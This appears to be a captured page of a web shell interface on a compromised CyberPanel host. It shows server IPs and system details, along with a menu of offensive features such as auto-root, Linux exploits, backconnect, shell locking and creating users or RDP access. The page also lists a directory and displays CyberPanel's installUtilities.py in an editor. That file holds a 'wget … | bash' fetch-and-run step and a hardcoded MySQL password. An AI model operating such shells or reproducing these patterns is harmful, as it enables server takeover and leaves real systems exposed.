Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
plogical /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
.my.cnf.4370
0
B
-rw-r--r--
.mysql.4370
0
B
-rw-r--r--
Backupsv2.py
59.03
KB
-rw-r--r--
ClusterManager.py
17.68
KB
-rw-r--r--
CyberCPLogFileWriter.py
4.37
KB
-rw-r--r--
CyberPanelUpgrade.py
3.64
KB
-rw-r--r--
DockerSites.py
61.86
KB
-rw-r--r--
IncScheduler.py
88.07
KB
-rw-r--r--
SwitchOldAliasToNew.py
2.4
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
acl.py
50.61
KB
-rw-r--r--
acl.py.backup_dns_fix
48.95
KB
-rw-r--r--
adminPass.py
2.41
KB
-rw-------
alias.py
647
B
-rw-r--r--
apiAccess.py
418
B
-rw-r--r--
applicationInstaller.py
352.05
KB
-rw-r--r--
backupSchedule.py
22.21
KB
-rw-r--r--
backupScheduleLocal.py
5.31
KB
-rw-r--r--
backupUtilities.py
110.15
KB
-rw-r--r--
bandwidthReset.py
7.25
KB
-rw-r--r--
cPanelImporter.py
41.33
KB
-rw-r--r--
childDomain.py
1.25
KB
-rw-r--r--
cronUtil.py
5.34
KB
-rw-r--r--
csf.py
48.63
KB
-rw-r--r--
customACME.py
51.55
KB
-rw-r--r--
dnsUtilities.py
38.7
KB
-rw-r--r--
domain.xml
0
B
-rw-r--r--
emergency_2fa_disable.py
1.24
KB
-rw-r--r--
filesPermsUtilities.py
6.17
KB
-rw-r--r--
filesPermsUtilities.py.bak
6.17
KB
-rw-r--r--
findBWUsage.py
4.6
KB
-rw-r--r--
firewallUtilities.py
8.18
KB
-rw-r--r--
ftpUtilities.py
7.56
KB
-rw-r--r--
getSystemInformation.py
5.29
KB
-rw-r--r--
hashPassword.py
1.22
KB
-rw-r--r--
httpProc.py
4.81
KB
-rw-r--r--
installUtilities.py
19.04
KB
-rw-r--r--
letsEncrypt.py
0
B
-rw-r--r--
mailUtilities.py
104.79
KB
-rw-r--r--
modSec.py
26.71
KB
-rw-r--r--
mysqlUtilities.py
41.46
KB
-rw-r--r--
phpUtilities.py
19.8
KB
-rw-r--r--
phpmyadminsignin.php
2.08
KB
-rw-r--r--
pluginManagerGlobal.py
813
B
-rw-r--r--
processUtilities.py
22.42
KB
-rw-r--r--
randomPassword.py
200
B
-rw-r--r--
rebuildQuotas.py
3.29
KB
-rw-r--r--
remoteBackup.py
14.81
KB
-rw-r--r--
remoteTransferUtilities.py
16.43
KB
-rw-r--r--
renew.py
5.64
KB
-rwxr-xr-x
restoreMeta.py
7.65
KB
-rw-r--r--
serverLogs.py
735
B
-rw-r--r--
sslUtilities.py
49.26
KB
-rw-r--r--
sslv2.py
26.18
KB
-rw-r--r--
test.py
0
B
-rw-r--r--
test1.py
0
B
-rw-r--r--
tuning.py
18.08
KB
-rw-r--r--
upgrade.py
213.62
KB
-rw-r--r--
upgrade.py.bak
97.03
KB
-rw-r--r--
upgradeCritical.py
1.15
KB
-rwx------
vhost.py
47
KB
-rw-r--r--
vhostConfs.py
14.41
KB
-rw-r--r--
virtualHostUtilities.py
92.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : installUtilities.py
import subprocess import sys from plogical import CyberCPLogFileWriter as logging import shutil import pexpect import os import shlex from plogical.processUtilities import ProcessUtilities class installUtilities: Server_root_path = "/usr/local/lsws" @staticmethod def enableEPELRepo(): try: cmd = [] cmd.append("yum") cmd.append("-y") cmd.append("install") cmd.append("epel-release") res = subprocess.call(cmd) if res == 1: print("###############################################") print(" Could not add EPEL repo " ) print("###############################################") else: print("###############################################") print(" EPEL Repo Added ") print("###############################################") except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [enableEPELRepo]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [enableEPELRepo]") return 0 return 1 @staticmethod def addLiteSpeedRepo(): try: # Use the official LiteSpeed repository installation script # This supports all OS versions including CentOS/AlmaLinux/Rocky 7, 8, and 9 cmd = "wget -O - https://repo.litespeed.sh | bash" res = subprocess.call(cmd, shell=True) if res == 1: print("###############################################") print(" Could not add Litespeed repo " ) print("###############################################") else: print("###############################################") print(" Litespeed Repo Added ") print("###############################################") except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [addLiteSpeedRepo]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [addLiteSpeedRepo]") return 0 return 1 @staticmethod def installLiteSpeed(): try: cmd = [] cmd.append("yum") cmd.append("-y") cmd.append("install") cmd.append("openlitespeed") res = subprocess.call(cmd) if res == 1: print("###############################################") print(" Could not install Litespeed " ) print("###############################################") sys.exit() else: print("###############################################") print(" Litespeed Installed ") print("###############################################") except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [installLiteSpeed]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [installLiteSpeed]") return 0 return 1 @staticmethod def startLiteSpeed(): try: cmd = [] cmd.append("/usr/local/lsws/bin/lswsctrl") cmd.append("start") res = subprocess.call(cmd) if res == 1: print("###############################################") print(" Could not start Litespeed server ") print("###############################################") sys.exit() else: print("###############################################") print(" Litespeed Started ") print("###############################################") except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [startLiteSpeed]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [startLiteSpeed]") return 0 return 1 @staticmethod def reStartLiteSpeed(): try: if ProcessUtilities.decideServer() == ProcessUtilities.OLS: command = "systemctl restart lsws" else: command = "/usr/local/lsws/bin/lswsctrl restart" ProcessUtilities.normalExecutioner(command) except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [reStartLiteSpeed]") return 0 except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [reStartLiteSpeed]") return 0 return 1 @staticmethod def reStartLiteSpeedSocket(): try: if ProcessUtilities.decideServer() == ProcessUtilities.OLS: command = "sudo systemctl restart lsws" else: command = "sudo /usr/local/lsws/bin/lswsctrl restart" return ProcessUtilities.executioner(command) except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [reStartLiteSpeed]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [reStartLiteSpeed]") return 0 @staticmethod def stopLiteSpeedSocket(): try: if ProcessUtilities.decideServer() == ProcessUtilities.OLS: command = "sudo systemctl stop lsws" else: command = "sudo /usr/local/lsws/bin/lswsctrl stop" return ProcessUtilities.executioner(command) except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [reStartLiteSpeed]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [reStartLiteSpeed]") return 0 @staticmethod def reStartOpenLiteSpeed(restart,orestart): try: if ProcessUtilities.decideServer() == ProcessUtilities.OLS: command = "sudo systemctl restart lsws" else: command = "sudo /usr/local/lsws/bin/lswsctrl restart" cmd = shlex.split(command) res = subprocess.call(cmd) if res == 1: print("###############################################") print(" Could not restart Litespeed serve ") print("###############################################") sys.exit() else: print("###############################################") print(" Litespeed Re-Started ") print("###############################################") except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [reStartOpenLiteSpeed]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [reStartOpenLiteSpeed]") return 0 return 1 @staticmethod def changePortTo80(): try: data = open("/usr/local/lsws/conf/httpd_config.conf").readlines() writeDataToFile = open("/usr/local/lsws/conf/httpd_config.conf", 'w') for items in data: if (items.find("*:8088") > -1): writeDataToFile.writelines(items.replace("*:8088","*:80")) else: writeDataToFile.writelines(items) writeDataToFile.close() except IOError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [changePortTo80]") return 0 return installUtilities.reStartLiteSpeed() @staticmethod def installAllPHPVersion(): try: cmd = [] cmd.append("yum") cmd.append("groupinstall") cmd.append("lsphp-all") res = subprocess.call(cmd) if res == 1: print("###############################################") print(" Could not install PHP Binaries ") print("###############################################") sys.exit() else: print("###############################################") print(" PHP Binaries installed ") print("###############################################") writeDataToFile = open(installUtilities.Server_root_path + "/conf/httpd_config.conf", "a") except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [installAllPHPVersion]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [installAllPHPVersion]") return 0 return 1 @staticmethod def installAllPHPToLitespeed(): try: path = installUtilities.Server_root_path + "/conf/" if not os.path.exists(path): shutil.copytree("phpconfigs",path+"phpconfigs") php53 = "include phpconfigs/php53.conf\n" php54 = "include phpconfigs/php54.conf\n" php55 = "include phpconfigs/php55.conf\n" php56 = "include phpconfigs/php56.conf\n" php70 = "include phpconfigs/php70.conf\n" writeDataToFile = open(path+"httpd_config.conf", 'a') writeDataToFile.writelines(php53) writeDataToFile.writelines(php54) writeDataToFile.writelines(php55) writeDataToFile.writelines(php56) writeDataToFile.writelines(php70) writeDataToFile.close() except IOError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [installAllPHPToLitespeed]") return 0 return 1 @staticmethod def installMainWebServer(): if installUtilities.enableEPELRepo() == 1: if installUtilities.addLiteSpeedRepo() == 1: if installUtilities.installLiteSpeed() == 1: if installUtilities.startLiteSpeed() == 1: if installUtilities.installAllPHPVersion(): if installUtilities.installAllPHPToLitespeed(): return 1 else: return 0 else: return 0 else: return 0 else: return 0 else: return 0 else: return 0 @staticmethod def removeWebServer(): try: cmd = [] cmd.append("yum") cmd.append("-y") cmd.append("remove") cmd.append("openlitespeed") res = subprocess.call(cmd) if res == 1: print("###############################################") print(" Could not remove Litespeed ") print("###############################################") sys.exit() else: print("###############################################") print(" Litespeed Removed ") print("###############################################") except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [removeWebServer]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [removeWebServer]") return 0 try: cmd = [] cmd.append("yum") cmd.append("-y") cmd.append("remove") cmd.append("lsphp*") res = subprocess.call(cmd) if res == 1: print("###############################################") print(" Could not PHP Binaries ") print("###############################################") else: print("###############################################") print(" PHP Binaries Removed ") print("###############################################") sys.exit() except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [removeWebServer]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [removeWebServer]") return 0 try: shutil.rmtree(installUtilities.Server_root_path) except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [removeWebServer]") return 0 return 1 @staticmethod def startMariaDB(): ############## Start mariadb ###################### try: cmd = [] cmd.append("systemctl") cmd.append("start") cmd.append("mariadb") res = subprocess.call(cmd) if res == 1: print("###############################################") print(" Could not start MariaDB ") print("###############################################") sys.exit() else: print("###############################################") print(" MariaDB Started ") print("###############################################") except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [startMariaDB]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [startMariaDB]") return 0 return 1 @staticmethod def installMySQL(password): try: ############## Install mariadb ###################### cmd = [] cmd.append("yum") cmd.append("-y") cmd.append("install") cmd.append("mariadb-server") res = subprocess.call(cmd) if res == 1: print("###############################################") print(" Could not install MariaDB ") print("###############################################") sys.exit() else: print("###############################################") print(" MariaDB Installed ") print("###############################################") except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [installMySQL]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [installMySQL]") return 0 ############## Start mariadb ###################### installUtilities.startMariaDB() ############## Enable mariadb at system startup ###################### try: cmd = [] cmd.append("systemctl") cmd.append("enable") cmd.append("mariadb") res = subprocess.call(cmd) if res == 1: print("###############################################") print(" Could not add mariadb to startup ") print("###############################################") sys.exit() else: print("###############################################") print(" MariaDB Addded to startup ") print("###############################################") except OSError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " Could not add mariadb to startup [installMySQL]") return 0 except ValueError as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " Could not add mariadb to startup [installMySQL]") return 0 if installUtilities.secureMysqlInstallation(password) == 1: return 1 return 0 @staticmethod def secureMysqlInstallation(password): try: expectation = "(enter for none):" securemysql = pexpect.spawn("mysql_secure_installation",maxread=20000) securemysql.expect(expectation) securemysql.sendcontrol('j') expectation = "password? [Y/n]" securemysql.expect(expectation) securemysql.sendline("Y") expectation = "New password:" securemysql.expect(expectation) securemysql.sendline("1qaz@9xvps") expectation = "new password:" securemysql.expect(expectation) securemysql.sendline(password) expectation = "anonymous users? [Y/n]" securemysql.expect(expectation) securemysql.sendline("Y") expectation = "root login remotely? [Y/n]" securemysql.expect(expectation) securemysql.sendline("Y") expectation = "test database and access to it? [Y/n]" securemysql.expect(expectation) securemysql.sendline("Y") expectation = "Reload privilege tables now? [Y/n]" securemysql.expect(expectation) securemysql.sendline("Y") securemysql.wait() if (securemysql.before.find("Thanks for using MariaDB!") > -1 or securemysql.after.find("Thanks for using MariaDB!")>-1): return 1 except pexpect.EOF as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " Exception EOF [installMySQL]") print("###########################Before########################################") print(securemysql.before) print("###########################After########################################") print(securemysql.after) print("########################################################################") except BaseException as msg: print("#############################Before#####################################") print(securemysql.before) print("############################After######################################") print(securemysql.after) print("########################################################################") logging.CyberCPLogFileWriter.writeToFile(str(msg) + "[installMySQL]") return 0 #installUtilities.installAllPHPToLitespeed()
Close